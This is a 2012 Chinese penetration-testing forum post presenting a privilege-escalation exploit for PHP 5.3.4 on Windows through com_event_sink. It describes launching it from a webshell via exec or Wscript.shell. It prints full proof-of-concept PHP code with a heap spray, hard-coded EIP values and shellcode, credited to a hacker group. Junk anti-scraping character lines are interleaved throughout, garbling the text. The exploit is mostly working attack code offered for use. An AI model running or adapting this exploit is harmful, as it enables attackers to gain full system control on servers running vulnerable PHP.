中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
% N n+ I$ \9 k, A7 {/ p
" I# P9 T& m* B4 {+ Y4 T
测试方法如下：cmd /c x:\php\php.exe x:\test.php
0 P' w9 I; y+ k0 L8 o, M4 h
" f9 q$ d" x8 A& m) C$ p! B( P' O
下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
% U4 x; _0 E+ ]: I
这里是两个测试的截图：
- a5 o: n1 r3 X- {5 R
( }) J5 [/ |5 @. D+ j# O! p
0 |- c* U4 o, e0 _5 F& x
6 A; k8 [5 u0 q& c. k* z& t2 A
; `" x8 C( d* I: k; e
, r: u# Q# H- X! S5 E/ T: j
成功利用此漏洞的攻击者将获得系统的最高权限
% {! }% I( G! r+ D6 o
- \# m E+ T/ A9 l4 K1 G; j& v
7 g o- e: s+ ^4 {
" f) l3 @, @' h$ k1 }
2 i* x; C0 z9 E) W6 c2 P
7 t' }8 e& o5 J
关于漏洞分析稍后附上。一下是PoC代码：
) K/ _8 A, z' W/ N" f& d/ y
! C# I- E8 _2 @* R4 n8 S0 s
<?php
/ g9 ^5 t. R% w8 s5 `* ?% Z
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
$ ^3 F, S* S, W3 E( r1 y; M
//$eip ="\x44\x43\x42\x41";
" H& L7 ?* W6 w3 b# T' h
$eip= "\x4b\xe8\x57\x78";
3 q0 K2 U+ S2 p, B
$eax ="\x80\x01\x8d\x04";
" p: f/ k9 p! ~/ D$ t
$deodrant="";
- P5 p7 s4 I0 T3 u/ [
$axespray = str_repeat($eip.$eax,0x80);
; q% z" O5 W# Z- k+ @
//048d0190
9 d* ?8 O2 k$ K7 p! a+ p
echo strlen($axespray);
9 H( Y4 q$ z, A3 H U8 }( Y
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
* b6 B9 S; i( p) x# i
echo "Silic Group Hacker Army - BlackBap.Org";
1 ?7 g/ w7 q) h# O) n/ E- i
//19200 ==4B32 4b00
. a0 E% [! C; c, t- T6 B
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
- r1 F# e: D+ N* H- t
$terminate = "T";
+ E8 Y/ A% V9 ^: \- ]
$u[] =$deodrant;
3 ^* b3 J: L0 \' Z* ^# w
$r[] =$deodrant.$terminate;
! Y* z7 `8 D" Q
$a[] =$deodrant.$terminate;
6 x; e K% x _5 y4 Q) E
$s[] =$deodrant.$terminate;
5 z2 [0 j5 A: n
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
* ]8 q l) ]6 e9 a3 Y
$vVar = new VARIANT(0x048d0000+180);
- w$ [7 |1 j! y1 v6 o7 {4 J
//弹窗代码(Shellcode)
9 [. H( P) a: m# T( z* D
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
+ o) J* O: Y* ]: J$ n; e" u
$var2 = new VARIANT(0x41414242);
( Y8 n$ V8 ]: ^8 A' U# l
com_event_sink($vVar,$var2,$buffer);
4 A7 R) \4 c! B
?>
6 M6 F- |( ]4 g" V8 C
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2